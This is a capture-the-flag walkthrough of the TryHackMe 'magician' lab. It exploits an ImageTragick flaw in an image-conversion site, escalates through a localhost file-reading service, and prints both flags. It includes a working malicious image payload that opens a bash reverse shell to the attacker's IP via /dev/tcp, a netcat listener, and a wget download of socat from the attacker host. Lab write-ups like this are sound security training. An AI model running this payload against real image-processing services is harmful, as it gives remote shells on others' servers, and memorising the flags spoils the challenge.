TryHackMe-magician

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This magical website lets you convert image file formats.

Note: this machine needs about 7 minutes to start up, please be patient :)

Please add the IP address of this machine with the hostname “magician” to your /etc/hosts file on Linux before you start. On Windows, the hosts file should be at C:32.

Use the hostname instead of the IP address if you want to upload a file. This is required for the room to work correctly ;)

Have fun and use your magic skills!

user.txt

Initial foothold

Let’s first add the hostname to our hosts file, as told above:

echo "10.10.100.95 magician" | sudo tee -a /etc/hosts

Nmap discovers 3 open ports:

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 2.0.8 or later
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Content-Type: application/json
|     Date: Fri, 30 Apr 2021 09:52:06 GMT
|     Connection: close
|     {"timestamp":"2021-04-30T09:52:07.398+0000","status":404,"error":"Not Found","message":"No message available","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
|   GetRequest: 
|     HTTP/1.1 404 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Content-Type: application/json
|     Date: Fri, 30 Apr 2021 09:52:06 GMT
|     Connection: close
|     {"timestamp":"2021-04-30T09:52:06.969+0000","status":404,"error":"Not Found","message":"No message available","path":"/"}
|   HTTPOptions: 
|     HTTP/1.1 404 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Content-Type: application/json
|     Date: Fri, 30 Apr 2021 09:52:06 GMT
|     Connection: close
|     {"timestamp":"2021-04-30T09:52:07.099+0000","status":404,"error":"Not Found","message":"No message available","path":"/"}
|   RTSPRequest: 
|     HTTP/1.1 505 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 465
|     Date: Fri, 30 Apr 2021 09:52:06 GMT
|     <!doctype html><html lang="en"><head><title>HTTP Status 505 
|     HTTP Version Not Supported</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505 
|_    HTTP Version Not Supported</h1></body></html>
|_http-title: Site doesn't have a title (application/json).
8081/tcp open  http       nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: magician

FTP

Attempting to connect to the FTP service as anonymous will succeed and provide us with a hint. However, there is nothing else to expect.

[email protected]:/data/vpn$ ftp magician 
Connected to magician.
220 THE MAGIC DOOR
Name (magician:kali): anonymous
331 Please specify the password.
Password:
230-Huh? The door just opens after some time? You're quite the patient one, aren't ya, it's a thing called 'delay_successful_login' in /etc/vsftpd.conf ;) Since you're a rookie, this might help you to get started: https://imagetragick.com. You might need to do some little tweaks though...
230 Login successful.
ftp> ls -la
550 Permission denied.
ftp: bind: Address already in use
ftp> cd /
550 Permission denied.
ftp> 

Web (8080)

Browsing http://magician:8080 will show a page that converts a PNG file to a JPG file.

As the hint given by the FTP was referring to a vulnerability (https://imagetragick.com, CVE-2016–3714), we can guess that we have to exploit this vulnerability by uploading a malicious PNG file.

After several failed attempts, I eventually found a working exploit here. Below is the code to make the malicious PNG file:

[email protected]:/data/magician/files$ cat > image.png << EOF
> push graphic-context
> encoding "UTF-8"
> viewbox 0 0 1 1
> affine 1 0 0 1 0 0
> push graphic-context
> image Over 0,0 1,1 '|/bin/bash -i > /dev/tcp/10.8.50.72/4444 0<&1 2>&1'
> pop graphic-context
> pop graphic-context
> EOF

open a listener and upload the image using the web form. A reverse shell spawns in our listener window:

[email protected]:/data/magician/files$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.100.95] 60864
bash: cannot set terminal process group (957): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/tmp/hsperfdata_magician$ id
id
uid=1000(magician) gid=1000(magician) groups=1000(magician)

User flag

Let’s get the user flag:

[email protected]:/tmp/hsperfdata_magician$ cd /home
cd /home
[email protected]:/home$ ll
ll
total 12
drwxr-xr-x  3 root     root     4096 Jan 30 10:43 ./
drwxr-xr-x 24 root     root     4096 Jan 30 10:31 ../
drwxr-xr-x  5 magician magician 4096 Feb 13 07:19 magician/
[email protected]:/home$ cd magician
cd magician
[email protected]:~$ ls -la
ls -la
total 17204
drwxr-xr-x 5 magician magician     4096 Feb 13 07:19 .
drwxr-xr-x 3 root     root         4096 Jan 30 10:43 ..
lrwxrwxrwx 1 magician magician        9 Feb  6 13:38 .bash_history -> /dev/null
-rw-r--r-- 1 magician magician      220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 magician magician     3771 Apr  4  2018 .bashrc
drwx------ 2 magician magician     4096 Jan 30 10:43 .cache
drwx------ 3 magician magician     4096 Jan 30 10:43 .gnupg
-rw-r--r-- 1 magician magician      807 Apr  4  2018 .profile
-rw-r--r-- 1 magician magician        0 Jan 30 10:43 .sudo_as_admin_successful
-rw------- 1 magician magician     7546 Jan 31 03:50 .viminfo
-rw-r--r-- 1 root     root     17565546 Jan 30 11:55 spring-boot-magician-backend-0.0.1-SNAPSHOT.jar
-rw-r--r-- 1 magician magician      170 Feb 13 07:19 the_magic_continues
drwxr-xr-x 2 root     root         4096 Feb  5 05:14 uploads
-rw-r--r-- 1 magician magician       24 Jan 30 11:30 user.txt
[email protected]:~$ cat user.txt
cat user.txt
THM{simsalabim_hex_hex}

root.txt

Hint

Still connected as magician, there is a hint in the /home/magician/ directory:

[email protected]:~$ cat the_magic_continues
cat the_magic_continues
The magician is known to keep a locally listening cat up his sleeve, it is said to be an oracle who will tell you secrets if you are good enough to understand its meows.

Following the hint, I checked the network connections with netstat, which revealed a weird connection on port 6666. This is however only available for localhost.

[email protected]:/tmp/hsperfdata_magician/uploads$ netstat -putan
netstat -putan
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:6666          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8081            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0    300 10.10.100.95:60902      10.8.50.72:4444         ESTABLISHED 27129/bash          
tcp6       0      0 :::8080                 :::*                    LISTEN      957/java            
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 10.10.100.95:8080       10.8.50.72:35182        ESTABLISHED 957/java            
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 10.10.100.95:68         0.0.0.0:*                           -                   

The program on port 6666

Let’s use socat to forward the local port and make the program available to the outside.

Transfer the socat binary from your Kali box to the server and use it to forward local port 6666 to port 7777:

[email protected]:~$ wget http://10.8.50.72:8000/socat
[email protected]:~$ chmod +x socat
[email protected]:~$ ./socat tcp-listen:7777,reuseaddr,fork tcp:localhost:6666

Now, connecting in a browser to port 7777 (http://magician:7777/) shows a new page that allows to read files. The program is likely run by root as it allows to read the root flag:

TryHackMe-magician-the-magic-cat.png

Press Submit until you get a base64 encoded string (the program is rotating through a bunch of encodings, including hex, binary, md5, base64).

Once we have our root flag as base64 encoded string, let’s decode it:

[email protected]:/data/src$ echo "VEhNe21hZ2ljX21heV9tYWtlX21hbnlfbWVuX21hZH0K" | base64 -d
THM{magic_may_make_many_men_mad}

Root flag: THM{magic_may_make_many_men_mad}